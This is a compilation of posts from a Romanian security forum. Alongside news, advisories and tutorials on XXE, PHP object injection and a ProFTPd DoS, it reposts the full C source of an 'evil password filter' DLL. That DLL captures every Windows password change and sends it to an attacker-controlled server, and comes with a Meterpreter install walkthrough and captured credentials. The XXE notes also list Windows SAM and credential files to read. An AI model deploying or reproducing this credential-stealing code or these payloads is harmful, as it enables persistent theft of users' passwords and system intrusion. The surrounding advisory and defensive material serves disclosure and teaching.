Nytro

"Privacy" pentru cine are acces fizic la calculator. Atat.

Poti pune codul?

TU trebuie sa trimiti asta. header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename='.basename($file)); header('Content-Transfer-Encoding: binary'); header('Content-Length: ' . filesize($file)); De aici: PHP: readfile - Manual

New NSA Leak Shows MITM Attacks Against Major Internet Services The Brazilian television show "Fantastico" has exposed an NSA training presentation that discusses how the agency runs man-in-the-middle attacks on the Internet. The point of the story was that the NSA engages in economic espionage against Petrobras, the Brazilian giant oil company, but I'm more interested in the tactical details. The video on the webpage is long, and includes what I assume is a dramatization of an NSA classroom, but a few screen shots are important. The pages from the training presentation describe how the NSA's MITM attack works: However, in some cases GCHQ and the NSA appear to have taken a more aggressive and controversial route -- on at least one occasion bypassing the need to approach Google directly by performing a man-in-the-middle attack to impersonate Google security certificates. One document published by Fantastico, apparently taken from an NSA presentation that also contains some GCHQ slides, describes “how the attack was done” to apparently snoop on SSL traffic. The document illustrates with a diagram how one of the agencies appears to have hacked into a target’s Internet router and covertly redirected targeted Google traffic using a fake security certificate so it could intercept the information in unencrypted format. Documents from GCHQ’s "network exploitation" unit show that it operates a program called "FLYING PIG" that was started up in response to an increasing use of SSL encryption by email providers like Yahoo, Google, and Hotmail. The FLYING PIG system appears to allow it to identify information related to use of the anonymity browser Tor (it has the option to query "Tor events") and also allows spies to collect information about specific SSL encryption certificates. It's that first link -- also here -- that shows the MITM attack against Google and its users. Another screenshot implies is that the 2011 DigiNotar hack was either the work of the NSA, or exploited by the NSA. Here's another story on this. Sursa: https://www.schneier.com/blog/archives/2013/09/new_nsa_leak_sh.html

La multi ani: https://en.wikipedia.org/wiki/Programmers%27_Day Programmers' Day is an international professional day recognized in many technology companies and programming firms, that is celebrated on the 256th (hexadecimal 100th, or the 28th) day of each year (September 13 during common years and on September 12 in leap years).

Google sare în ap?rarea The Pirate Bay Google, cel mai mare furnizor de servicii online din lume ?i o companie care are propriile probleme legate de înc?lcarea propriet??ii intelectuale, refuz? s? ignore site-ul de partajare de fi?iere The Pirate Bay (TPB). Asocia?ia British Recorded Music Industry, care reprezint? interesele a trei case mari de discuri - Warner Music Group, Sony Music Entertainment ?i Universal Music Group - i-a cerut gigantului online s? scoat? din rezultatele c?ut?rilor link-urile care duc c?tre thepiratebay.sx, adresa TPB. Compania american? a refuzat. Motivul invocat de Google este c? prima pagina a The Pirate Bay nu con?ine con?inut piratat sau link-uri directe catre con?inut piratat. Sursa: Google sare în ap?rarea The Pirate Bay - Gandul

Sebastien Kaczmarek - Dreamboot - A Uefi Bootkit Description: PRESENTATION ABSTRACT: Unified Extensible Firmware Interface or UEFI, is the result of a common effort from several manufacturers and industry stakeholders based on an initiative from Intel. It is a new software component or ‘middleware’ interposed between the hardware and the operating system designed to replace the traditional aka old BIOS. This presentation is a study of the overall architecture of UEFI from a security point of view with a focus on a bootkit implementation for Windows 8 x64 which exploits the UEFI firmware: Dreamboot. Dreamboot has two specific payloads: Privilege escalation and Windows local authentication bypass. DreamBoot comes in the form of a bootable ISO, to use preferably as part of a physical attack (i.e. when the attacker has physical access to the machine peripherals: DVD or USB ports). It is also fully functional in virtualized environments like VMWare Workstation or ESX. The presentation also describes how to develop for UEFI platforms using Tianocore SDK and the new security risks its deployment implies. The Windows boot process and its evolution from BIOS to UEFI implementation will be covered and all bootkit implementation details explained. ABOUT SEBASTIEN KACZMAREK Sebastien Kaczmarek is a senior security researcher at QuarksLAB skilled in reverse engineering and cryptanalysis. He specializes in software security, malware and low level code analysis on Microsoft platforms and enjoys studying all execution layers from hardware to software while also analyzing web vulnerabilities. He has studied computer science for 5 years in USTL (Lille University – France) before specializing in information security and reverse engineering. He has published a paper in French journal MISC, titled “RDP & Cryptography, RSA, Anecdotes and Implementation Errors”. He is currently working on DRM, UEFI implementations and new opportunities to develop bootkits for Microsoft’s Windows 8 platform. For More Information please visit : - HITBSECCONF2013 - AMSTERDAM Sursa: Sebastien Kaczmarek - Dreamboot - A Uefi Bootkit

[h=1]ProFTPd mod_sftp/mod_sftp_pam invalid pool allocation during kbdint authentication[/h]Posted on September 11, 2013 ProFTPd installs with mod_sftp and mod_sftp_pam activated contain the vulnerability described in this post. The current stable release of ProFTPd is 1.3.4d and the current release candidate is 1.3.5rc3. First I have to note that this vulnerability is unlikely to be exploited. There is a way to control $rip instruction pointer on 64 bit systems, for example on the Ubuntu 64Bit platform but I believe that it is not possible to get full code execution with this bug. The bug is useful to trigger a large heap allocation and exhaust all available system memory of the underlying operating system. Inside the file located at proftpd-1.3.5rc2/contrib/mod_sftp/kbdint.c ProFTPd handles the SSH keyboard interactive authentication procedure, in this case it will use pam as an authentication library therefore mod_sftp_pam has to be active for an installation to be vulnerable. Source code file and line kbdint.c:300 reads: [1] resp_count = sftp_msg_read_int(pkt->pool, &buf, &buflen); [2] list = make_array(p, resp_count, sizeof(char *)); for (i = 0; i < resp_count; i++) { char *resp; resp = sftp_msg_read_string(pkt->pool, &buf, &buflen); *((char **) push_array(list)) = pstrdup(p, sftp_utf8_decode_str(p, resp)); } Line 1 will read the kbdint response count which is an unsigned integer with a size of 32 bits from the client during an SSH kbdint userauth info response client request. This value is used to allocate a buffer with the size user_supplied_uint32_value multiplied by the size of a char pointer being 32bits or 64bits depending on the platform. There is no size check before the request is sent to the pool allocator that is called by make_array at Line 2. The pool allocator can be tricked to handle negative allocation sizes if resp_count is large enough. There is a size check of the response count value but it’s done after this function returns. The DoS condition can be triggered by sending an int32 value for resp_count that is slightly below the available memory of the target system and repeating the request. Noteably OpenSSH vulnerability CVE-2002-0640 is very similar to this ProFTPd vulnerability. It has the very same code path. Here is a reference to the OpenSSH Challenge-Response Authentication bug that was exploited by GOBBLES Security in their year 2002 sshutuptheo.tgz exploit: OpenSSH Security Advisory (adv.iss) [LWN.net]. Usage of keyboard interactive authentication in ProFTPd mod_sftp is rare as it is not activated by default. Cheers, Kingcope Sursa: https://kingcope.wordpress.com/2013/09/11/proftpd-mod_sftpmod_sftp_pam-invalid-pool-allocation-in-kbdint-authentication/

[h=1]Video Tutorial: Introduction to XML External Entity Injection[/h]Posted by webpwnized in Information Security on Sep 12, 2013 9:01:16 AM Title: Video Tutorial: Introduction to XML External Entity Injection Author: webpwnized From: ISSA KY Sept 2013 Workshop (Louisville, KY) Twitter: @webpwnized This video introduces XML injection to achieve XML external entity injection (XXE) and XML based cross site scripting (XSS). Please find notes used/mentioned in video posted below the video. 1. What is XML injection 2. What is an "entity" 3. What is entity injection 4. Cross site scripting with entity injection 5. Determining local execution path 6. Determining privileges of "user" 7. Directory traversal 8. file:/// protocol 9. Local File Inclusion with entity injection Firefox --> Burp-Suite --> Apache2 --> PHP App Server --> PHP Code --> XML Parser --> PHP --> Apache2 --> Burp-Suite --> Firefox Basics <?xml version="1.0"?><change-log><text>Hello World</text></change-log> <?xml version="1.0"?><change-log><text>"Hello World"</text></change-log> <?xml version="1.0"?><!DOCTYPE change-log[ <!ENTITY myEntity "World"> ]><change-log><text>Hello &myEntity;</text></change-log> <?xml version="1.0"?><!DOCTYPE change-log[ <!ENTITY myEntity "World"><!ENTITY myQuote """> ]><change-log><text>&myQuote;Hello &myEntity;&myQuote;</text></change-log> Information Disclosure C:\xampp\htdocs\mutillidae\xml-validator.php file:///C:/xampp/htdocs/mutillidae/xml-validator.php Try to cause various errors in order to coax information from XML parser Try to load files that dont exist Put whitespace before the XML Send malformed XML Determine operating system type and the path at which interpretation is taking place Cross site scripting <?xml version="1.0"?><change-log><text><script>alert("FAIL")</script></text></change- log> <?xml version="1.0"?><change-log><text><script>alert("Hello World")</script></text></change-log> Local File Inclusion Try to acquire application configuration files and/or source code files Try to acquire operating system files <?xml version="1.0"?><!DOCTYPE change-log[ <!ENTITY systemEntity SYSTEM "robots.txt"> ]><change-log><text>&systemEntity;</text></change-log> Remote File Inclusion <?xml version="1.0"?><!DOCTYPE change-log[ <!ENTITY systemEntity SYSTEM "http://192.168.56.102/index.html"> ]><change-log><text>&systemEntity;</text></change-log> Windows XP SP3 %WINDIR% = C:\WINDOWS %SYSTEMDRIVE% = C: %SYSTEMROOT% = C:\WINDOWS Credit: Rob "Mubix" Fuller file:///C:\WINDOWS\System32\drivers\etc\hosts %WINDIR%\System32\drivers\etc\hosts Blind Files %SYSTEMDRIVE%\boot.ini A file that can be counted on to be on virtually every windows host. Helps with confirmation that a read is happening. %WINDIR%\win.ini This is another file to look for if boot.ini isn’t there or coming back, which is sometimes the case. %SYSTEMROOT%\repair\SAM %SYSTEMROOT%\System32\config\RegBack\SAM It stores users' passwords in a hashed format (in LM hash and NTLM hash). The SAM file in \repair is locked, but can be retired using forensic or Volume Shadow copy methods %SYSTEMROOT%\repair\system %SYSTEMROOT%\System32\config\RegBack\system Files To Pull (if possible) %SYSTEMDRIVE%\pagefile.sys Large file, but contains spill over from RAM, usually lots of good information can be pulled, but should be a last resort due to size %WINDIR%\debug\NetSetup.log %WINDIR%\repair\sam %WINDIR%\repair\system %WINDIR%\repair\software %WINDIR%\repair\security %WINDIR%\iis6.log (5, 6 or 7) %WINDIR%\system32\logfiles\httperr\httperr1.log IIS 6 error log %SystemDrive%\inetpub\logs\LogFiles IIS 7’s logs location %WINDIR%\system32\logfiles\w3svc1\exYYMMDD.log (year month day) %WINDIR%\system32\config\AppEvent.Evt %WINDIR%\system32\config\SecEvent.Evt %WINDIR%\system32\config\default.sav %WINDIR%\system32\config\security.sav %WINDIR%\system32\config\software.sav %WINDIR%\system32\config\system.sav %WINDIR%\system32\CCM\logs\*.log %USERPROFILE%\ntuser.dat %USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index. dat %WINDIR%\System32\drivers\etc\hosts Sursa: https://community.rapid7.com/community/infosec/blog/2013/09/12/video-tutorial-introduction-to-xml-external-entity-injection

[h=3]Stealing passwords every time they change[/h] Password Filters [0] are a way for organizations and governments to enforce stricter password requirements on Windows Accounts than those available by default in Active Directory Group Policy. It is also fairly documented on how to Install and Register Password Filters [1]. Basically what it boils down to is updating a registry key here: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages with the name of a DLL (without the extension) that you place in Windows\System32\ For National CCDC earlier this year (2013), I created an installer and "evil pass filter" that basically installed itself as a password filter and any time any passwords changed it would store the change to a log file locally to the victim (in clear text) as well as issue an HTTP basic auth POST to a server I own with the username and password. The full code can be found below. I'll leave the compiling up to you but basically its slamming the code in Visual Studio, telling it its a DLL, and clicking build for the architecture you are targeting (Make sure to use the Internet Open access settings that make the most sense for the environment you are using this in [2]). So lets walk the exploitation: First, you have to be admin or system, as this is more of a persistence method than anything. [INDENT] meterpreter > getuid Server username: NT AUTHORITY\SYSTEM [/INDENT] Next, we upload the evilpassfilter.dll to Sytem32: [INDENT] meterpreter > pwd C:\Windows\system32 meterpreter > upload /tmp/evilpassfilter.dll . [*] uploading : /tmp/evilpassfilter.dll -> . [*] uploaded : /tmp/evilpassfilter.dll -> .\evilpassfilter.dll [/INDENT] Then we need to query what is already in the notification packages list: [INDENT] meterpreter > reg queryval -k HKLM\\System\\CurrentControlSet\\Control\\Lsa -v "Notification Packages" Key: HKLM\System\CurrentcontrolSet\Control\Lsa Name: Notification Packages Type: Data: sceclirassfm [/INDENT] What you can't see here since Metasploit isn't showing the line breaks is that there are two there by default: [INDENT] scecli rassfm [/INDENT] We need to add ours to the end of this list, unfortunately at the current point of time its impossible to do directly from the meterpreter command line (as far as I know). So we need to drop a .reg file and manually import it. Easiest way to do that is to add your "evilpassfilter" string as well as the ones on the victim to a VM you have and export it. Should look like this: Once we have our file, we upload and import it using reg command: [INDENT] meterpreter > upload importme.reg . [*] uploading : importme.reg -> . [*] uploaded : importme.reg -> .\importme.reg meterpreter > execute -H -f regedit.exe -a '/s importme.reg' Process 2628 created. meterpreter > [/INDENT] Double check our work: [INDENT] meterpreter > reg queryval -k HKLM\\System\\CurrentcontrolSet\\Control\\Lsa -v "Notification Packages" Key: HKLM\System\CurrentcontrolSet\Control\Lsa Name: Notification Packages Type: Data: sceclirnrassfmrnevilpassfilter [/INDENT] Its there, w00t! But it doesn't do anything until a reboot happens . Lets just force that to happen (not the most stealthy thing to do): [INDENT] meterpreter > reboot Rebooting... [/INDENT] While thats going on, lets set up the server to catch the basic auth. [INDENT] msf exploit(psexec) > use auxiliary/server/capture/http_basic msf auxiliary(http_basic) > set URIPATH / URIPATH => / msf auxiliary(http_basic) > run [*] Auxiliary module execution completed msf auxiliary(http_basic) > [*] Listening on 0.0.0.0:80... [*] Using URL: http://0.0.0.0:80/ [*] Local IP: http://192.168.92.106:80/ [*] Server started. msf auxiliary(http_basic) > [/INDENT] Then we wait for a password to be changed: [INDENT] msf auxiliary(http_basic) > [*] 192.168.92.106 http_basic - Sending 401 to client [+] 192.168.92.106 - Credential collected: "jack:ASDqwe123" => / [/INDENT] No matter how complex their password is and without having a shell on the box anymore: msf auxiliary(http_basic) > [INDENT] [+] 192.168.92.106 - Credential collected: "jack:a?'z_a4#RRK(mvQEsyQ8l`,JR.pes<;6#0$puQ%Q&,@ZwY(T@p" => / [/INDENT] This works from Windows 2000, XP all the way up to Windows 8 & 2012. Ok, but how often are local password changed? Maybe not that often, but guess what happens when a password filter is put on a domain controller. Every password changed by that DC is "verified" by your evil password filter. Oh and what does that log file we talked about earlier on the victim look like if for some reason they block that IP you're getting your authentication to? (You would have to find a way to get back on that system, or make it available via a share or otherwise) [INDENT] InitializeChangeNotify() JackJohnson:ASDqwe123 JackJohnson:a?'z_a4#RRK(mvQEsyQ8l`,JR.pes<;6#0$puQ%Q&,@ZwY(T@p [/INDENT] This attack supports a larger character set than most banks ;-) [0] http://msdn.microsoft.com/en-us/library/windows/desktop/ms721882(v=vs.85).aspx [1] http://msdn.microsoft.com/en-us/library/windows/desktop/ms721766(v=vs.85).aspx [2] http://msdn.microsoft.com/en-us/library/windows/desktop/aa385096(v=vs.85).aspx Full code: #include <windows.h>#include <stdio.h> #include <WinInet.h> #include <ntsecapi.h> void writeToLog(const char* szString) { FILE* pFile = fopen("c:\\windows\\temp\\logFile.txt", "a+"); if (NULL == pFile) { return; } fprintf(pFile, "%s\r\n", szString); fclose(pFile); return; } // Default DllMain implementation BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { OutputDebugString(L"DllMain"); switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } BOOLEAN __stdcall InitializeChangeNotify(void) { OutputDebugString(L"InitializeChangeNotify"); writeToLog("InitializeChangeNotify()"); return TRUE; } BOOLEAN __stdcall PasswordFilter( PUNICODE_STRING AccountName, PUNICODE_STRING FullName, PUNICODE_STRING Password, BOOLEAN SetOperation ) { OutputDebugString(L"PasswordFilter"); return TRUE; } NTSTATUS __stdcall PasswordChangeNotify( PUNICODE_STRING UserName, ULONG RelativeId, PUNICODE_STRING NewPassword ) { FILE* pFile = fopen("c:\\windows\\temp\\logFile.txt", "a+"); //HINTERNET hInternet = InternetOpen(L"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0); HINTERNET hInternet = InternetOpen(L"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0",INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0); HINTERNET hSession = InternetConnect(hInternet,L"172.16.10.1",80,NULL,NULL,INTERNET_SERVICE_HTTP ,0,0); HINTERNET hReq = HttpOpenRequest(hSession,L"POST",L"/",NULL,NULL,NULL,0,0); char* pBuf="SomeData"; OutputDebugString(L"PasswordChangeNotify"); if (NULL == pFile) { return; } fprintf(pFile, "%ws:%ws\r\n", UserName->Buffer,NewPassword->Buffer); fclose(pFile); InternetSetOption(hSession,INTERNET_OPTION_USERNAME,UserName->Buffer,UserName->Length/2); InternetSetOption(hSession,INTERNET_OPTION_PASSWORD,NewPassword->Buffer,NewPassword->Length/2); HttpSendRequest(hReq,NULL,0,pBuf,strlen(pBuf)); return 0; } Sursa: Carnal0wnage & Attack Research Blog: Stealing passwords every time they change

WordPress < 3.6.1 PHP Object Injection After reading a blog post about a “PHP object injection” vulnerability in Joomla, I dug a bit deeper and found Stefan Esser’s slides of the 2010 BlackHat conference, which showed that PHP’s unserialize() function can give rise to vulnerabilities when supplied user-generated content. So basically, the unserialize() function takes a string that represents a serialized value, and unserializes (hence the name) it to a PHP value. This value can be any type, except the resource type (i.e. integer, double, string, array, boolean, object, NULL). When the function is given a user-generated string, this may result in memory leak vulnerabilities in some (older) PHP versions. However, this will not be the focus of this blog post. If you want to learn more about this, you can refer to the aforementioned BlackHat slides. Another type of vulnerability that an attacker can exploit when his data is run through the unserialize() function, is “PHP Object Injection”. In this case, object-types are unserialized, allowing the attacker to set all the properties of the object to his choice. When the object’s methods are called, this could have some effect (e.g. removing some file), and as the attacker is able to choose the properties of the object, he might be able to remove a file of his choice. Let’s examplify this to make it more clear: Imagine that the following class is loaded at the time user-generated content is passed to unserialize(). [phpcode]<?php class Foo { private $bar; private $file; public __construct($fileName) { $this->bar = 'foobar'; $this->file = $fileName; } // Some more code here… public __toString() { return file_get_contents($this->file); } } ?>[/phpcode] If the victim’s code would contain the following line echo unserialize($_GET['in']);, the attacker will be able to read arbitrary files. The attacker could construct his payload with the following code: [phpcode]<?php class Foo { public $file; } $foo = new Foo(); $foo->file = '/etc/passwd'; echo serialize($foo); ?>[/phpcode] Which results in O:3:"Foo":1:{s:4:"file";s:11:"/etc/passwd";}. All the attacker has to do now is to send a GET request to the vulnerable page with his payload. This page will then output the contents of /etc/passwd. Although reading arbitrary files is quite bad, imagine what would happen if file_get_contents would be eval in the above example… I hope this section has shed some light on the possible dangers of supplying user-generated content to the unserialize() function. Even PHP’s reference manual clearly states that one should not pass user-generated content to the unserialize() function: Warning Do not pass untrusted user input to unserialize(). Unserialization can result in code being loaded and executed due to object instantiation and autoloading, and a malicious user may be able to exploit this. Use a safe, standard data interchange format such as JSON (via json_decode() and json_encode()) if you need to pass serialized data to the user. You shall not pass user-content to userialize() Now let’s move on to how this affects WordPress. WordPress vulnerability In Stefan Esser’s BlackHat presentation, he mentioned that WordPress is a well-known example of an application that makes use of serialize() and unserialize(). In the example of his slides, unserialize() is used on content received from the WordPress website. So when an attacker is able to perform a MitM-attack on the victim’s website, he can modify the response from the WordPress website to include his payload. Interestingly, at the time of writing, even the latest version of WordPress (3.6) contains this vulnerability (aprox. 3 years after the presentation). Imagine what could happen if an attacker were able to hijack the WordPress.org DNS… However… this is not the only occurrence where WordPress uses unserialize(). It is also used to store certain information in the database. For example, some user metadata is stored serialized in the database. This metadata is retrieved in the wp-includes/meta.php file by the get_metadata()-function defined on line 267. Here’s a little abstract from this function (lines 292-297): [phpcode]if ( isset($meta_cache[$meta_key]) ) { if ( $single ) return maybe_unserialize( $meta_cache[$meta_key][0] ); else return array_map('maybe_unserialize', $meta_cache[$meta_key]); }[/phpcode] So basically, what this function does is retrieve metadata (either from posts or users) from the database (respectively the wp_postmeta and wp_usermeta tables). As some content should be serialized while other content should not, the maybe_unserialize() function is called instead of unserialize(). This function is defined in wp-includes/functions.php on lines 230-234. [phpcode]function maybe_unserialize( $original ) { if ( is_serialized( $original ) ) // don't attempt to unserialize data that wasn't serialized going in return @unserialize( $original ); return $original; }[/phpcode] So what this function does, is check whether the given value is a serialized string and if it is, it is unserialized. The is_serialized() function is defined in the same file, on lines 247-276: [phpcode]function is_serialized( $data ) { // if it isn't a string, it isn't serialized if ( ! is_string( $data ) ) return false; $data = trim( $data ); if ( 'N;' == $data ) return true; $length = strlen( $data ); if ( $length < 4 ) return false; if ( ':' !== $data[1] ) return false; $lastc = $data[$length-1]; if ( ';' !== $lastc && '}' !== $lastc ) return false; $token = $data[0]; switch ( $token ) { case 's' : if ( '"' !== $data[$length-2] ) return false; case 'a' : case 'O' : return (bool) preg_match( "/^{$token}:[0-9]+:/s", $data ); case 'b' : case 'i' : case 'd' : return (bool) preg_match( "/^{$token}:[0-9.E-]+;\$/", $data ); } return false; }[/phpcode] he reason why it is important to note how WordPress checks if a value is a serialized string will become clear soon. First, let’s look at how an attacker could make content he supplies end up in this metadata table. For every user the first name, last name, Yahoo IM, … are stored in the wp_usermeta table. So let’s just add the payload there and pwn WordPress, right?! You can check by setting i:1; as your name, if this is unserialized, it will result in the integer 1. However, if you test this, you will see that the content isn’t unserialized and just returns i:1;, as was entered. Darn, it’ll take some more to pwn WordPress aparently… Let’s dig deeper why the content isn’t unserialized… In wp-includes/meta.php, the update_metadata() function is defined on lines 101-164. Here’s an abstract of this function: [phpcode]// … $meta_value = wp_unslash($meta_value); $meta_value = sanitize_meta( $meta_key, $meta_value, $meta_type ); // … $meta_value = maybe_serialize( $meta_value ); $data = compact( 'meta_value' ); // … $wpdb->update( $table, $data, $where ); // …[/phpcode] The maybe_serialize() function might explain why our payload didn’t work… Let’s take a closer look at the function defined in wp-includes/functions.php on lines 314-324. [phpcode]function maybe_serialize( $data ) { if ( is_array( $data ) || is_object( $data ) ) return serialize( $data ); // Double serialization is required for backward compatibility. // See http://core.trac.wordpress.org/ticket/12930 if ( is_serialized( $data ) ) return serialize( $data ); return $data; }[/phpcode] So when the given value is a serialized string, it will be serialized again. That is indeed what happens. As you can see in the database, i:1; is turned into s:4:"i:1;";, which is deserialized as a string when it is displayed. So what now? As you might have noticed, this post was also tagged MySQL. Now it’ll become clear why. In order to successfully insert a serialized object, we need the is_serialized() function to return false when a string is insterted, and it should return true after it is retrieved from the database. As you might know, a MySQL database, table and even the separate columns have their own charset/collation. For WordPress, the default charset is utf8. Contrastinly to the name, this charset actually does not support the full Unicode character set. For more information about this, please refer to following post by Mathias Bynens. This taught me that tables with utf8 as charset can not store astral symbols (whose code points range from U+010000 to U+10FFFF). So what happens if we try to store one of these symbols nonetheless? Apparently, everything after such a symbol is just discarded. So for example, when trying to insert foo??bar, MySQL will discard ??bar and just store foo. This was the last piece of the puzzle that was needed to inject serialized values which will be unserialized later on. To test this, you can insert i:1;?? as your first name. As you will see, this results in just 1 as value, meaning that the value you supplied was unserialized. If you don’t yet believe me, try entering a serialized empty array with an astral symbol appended: a:0:{}??. This will result in Array. Let’s recap: maybe_serialized('i:1;??') is inserted to the database. As WordPress does not see this as a serialized string (because it doesn’t end in ; or }), this will result in i:1;??. When inserted, MySQL doesn’t know how to store it properly, and removes the astral symbol ??. Later on, when the value i:1; is retrieved, it will be unserialized as it now has ; as last character which will make is_serialized() return true. Boom. Vulnerability. WordPress exploit Now we’ve shown that WordPress contains a PHP Object Injection vulnerability, let’s try to exploit it… So in order to exploit this vulnerability (by injecting objects), we need to find a class that (i) contains a “useful” method that is called, and (ii) is included at the time the object is created. When an object is unserialized, the __wakeup() function is called. This function is one of PHP’s “magic-methods”. This is one method we are sure of that is called, there could be some more though. I made the following class which logs all function calls to /tmp/func.log. [phpcode]<?php class Foo { public static function logFuncCall($funcName) { $fh = fopen('/tmp/func.log', 'a'); fwrite($fh, $funcName."\n"); fclose($fh); } public function __construct() { Foo::logFuncCall('__construct('.json_encode(func_get_args()).')');} public function __destruct() { Foo::logFuncCall('__destruct()');} public function __get($name) { Foo::logFuncCall("__get($name)"); return "Foo";} public function __set($name, $value) { Foo::logFuncCall("__set($name, value)");} public function __isset($name) { Foo::logFuncCall("__isset($name)"); return true;} public function __unset($name) { Foo::logFuncCall("__unset($name)");} public function __sleep() { Foo::logFuncCall("__sleep()"); return array();} public function __wakeup() { Foo::logFuncCall("__wakeup()");} public function __toString() { Foo::logFuncCall("__toString()"); return "Foo";} public function __invoke($a) { Foo::logFuncCall("__invoke(". json_encode(func_get_args()).")");} public function __call($a, $ { Foo::logFuncCall("__call(". json_encode(func_get_args()).")");} public static function __callStatic($a, $ { Foo::logFuncCall("__callStatic(". json_encode(func_get_args()).")");} public static function __set_state($a) { Foo::logFuncCall("__set_state(". json_encode(func_get_args()).")"); return null;} public function __clone() { Foo::logFuncCall("__clone()");} } ?>[/phpcode] In order to list all the functions that are called, first make sure that the class is included at the time the unserialization happens. You can do this by adding require_once('foo.php') to the top of functions.php. Next, try exploiting the PHP Object Injection by setting your first name to O:3:"Foo":0:{}??. When you save this, and the page is refreshed, you will see that your first name now is Foo, which is exactly what is returned by the __toString() function of the Foo class. Now let’s look at the functions that were called: $ sort -u /tmp/func.log __destruct() __toString() __wakeup() That gives us three functions we can work with: __wakeup(), __destruct() and __toString(). “Unfortunately” I was unable to find an occurrence of a WordPress class that was loaded at the time the unserialization happens which could lead to a severe exploitation. Please note that this is not due to the “security” of WordPress, but rather by chance. So does this mean that WordPress is just vulnerable, but no exploit is possible? Not quite… If you are familiar with WordPress, you might be aware that there is an enormous amount of plugins available. These plugins come with their own classes and thus may introduce what is needed for successfully exploiting this vulnerability. I looked into this, and found that there exists a popular plugin which (when enabled) elevates this vulnerability to Remote Command Execution. Due to ethical considerations, I will not disclose a PoC of this exploit at this time, as there are too many vulnerable WordPress installations out there. WordPress fix The fix by WordPress is in the is_serialized() function, I’ll briefly discuss it here. [phpcode]function is_serialized( $data, $strict = true ) { // if it isn't a string, it isn't serialized if ( ! is_string( $data ) ) return false; if ( ':' !== $data[1] ) return false; if ( $strict ) { $lastc = $data[ $length - 1 ]; if ( ';' !== $lastc && '}' !== $lastc ) return false; } else { // ensures ; or } exists but is not in the first X chars if ( strpos( $data, ';' ) < 3 && strpos( $data, '}' ) < 4 ) return false; } $token = $data[0]; switch ( $token ) { case 's' : if ( $strict ) { if ( '"' !== $data[ $length - 2 ] ) return false; } elseif ( false === strpos( $data, '"' ) ) { return false; } case 'a' : case 'O' : return (bool) preg_match( "/^{$token}:[0-9]+:/s", $data ); case 'b' : case 'i' : case 'd' : $end = $strict ? '$' : ''; return (bool) preg_match( "/^{$token}:[0-9.E-]+;$end/", $data ); } return false; }[/phpcode] The main difference is that when the $strict parameter is set to false, there are fewer constraints a string needs to be marked serialized. For example, the last character no longer needs to be ; or {, which makes that this fix patches the vulnerability I reported. Now are there any similar issues that could lead to have the same consequences? As WordPress is still using the unsafe unserialize() function instead of the safer json_decode(), it is now dependant on the regularity of MySQL’s irregular behaviour. The vulnerability I disclosed above made use of the fact that MySQL’s utf8 charset removes all characters that come after an astral symbol. Now what would happen if in a future version, MySQL would remove everything before this character? WordPress would be vulnerable again. Another option that is not unlikely, is that there exists a character that is removed by MySQL when INSERTed. In this case, is_serialized() will return false when trying to insert a string with this character prepended as meta-data. When this string is then retrieved again, it will no longer have the character, and is_serialized() will now return true, which will cause the user-generated string to be unserialized. Ofcourse, this is pure speculation (as I am not that familiar with MySQL). I shared these concerns with WordPress, and they consulted their MySQL expert, and assured that above scenarios will not happen. The first scenario (where characters are removed before a certain character), will not happen because: I see no way of this happening. ‘After’ can happen, if you manage to define a partial multi-byte character, as in the original report. ‘Before’ can’t, because MySQL only runs forward through a string when converting it to a character set, never backwards. As for the second scenario (where a character “disappears”) will not happen because: MySQL replaces characters it doesn’t recognize (for the given character set), with a placeholder. MySQL will sometimes replace byte sequences with “?” or “?” (U+FFFD). Such replacements would not be harmful. Timeline April 3rd: Vulnerability discovered April 4th: WordPress notified June 18th: First WordPress fix June 21st: WordPress 3.5.2 released (fix not included) August 1st: WordPress 3.6 released (fix not included) September 6th: Second WordPress fix September 11th: WordPress 3.6.1 released (fix included) September 11th: Public disclosure through this blog post Conclusion Even though this vulnerability was caused by a single Unicode character, it did have an impact on the core functionality of WordPress (presumably this is why it took them 5 months to fix). As abandoning the use of unserialize() was not an option for them (presumably because of legacy issues), they had to come up with a good algorithm to prevent this vulnerability while remaining compatible with a plethora of plugins and other systems. All in all, I feel a bit more safe hosting my girlfriend’s WP blog, though I did alter the meta-tables to support all Unicode characters: ALTER TABLE wp_commentmeta CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci; ALTER TABLE wp_postmeta CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci; ALTER TABLE wp_usermeta CONVERT TO CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci; Finally, I would like to thank the WordPress Security Team for our collaboration on fixing this vulnerability, and for taking my feedback on both fixes into account. Sursa: http://vagosec.org/2013/09/wordpress-php-object-injection/

[h=1]Can you find it?[/h] Last year, GCHQ created a groundbreaking challenge, which asked ‘Can You Crack It’. Now in 2013, we are asking Can You Find It? Our new challenge is to find and solve 5 codes we have hidden around the web. For anyone able to rise to the challenge and find all the codes, you’ll join an elite community of people with some of the specific skills we look for at GCHQ. We also have some great prizes. You can win 1 of 100 Raspberry Pi or 1 of 5 Google Nexus 7 tablets. https://canyoufindit.co.uk/

STUPID. Nu se previne SQL Injection din .htaccess. Porcaria asta: RewriteCond %{QUERY_STRING} ^.*(;|<|>|'|"|\)|%0A|%0D|%22|%27|%3C|%3E|).*(/\*|union|select|insert|cast|set|declare|drop|update|md5|benchmark).* [NC,OR] NU se poate numi filtrare! Pe langa faptul ca nu previne nimic ci doar incurca putin atacatorul, mai poate provoca si grave probleme de functionalitate. SQL Injection ca si orice alt tip de problema de securitate pe parte de aplicatie web se filtreaza din aplicatia web!

Eu sunt multumit daca imi spui coduri de acces la diferite interfoane

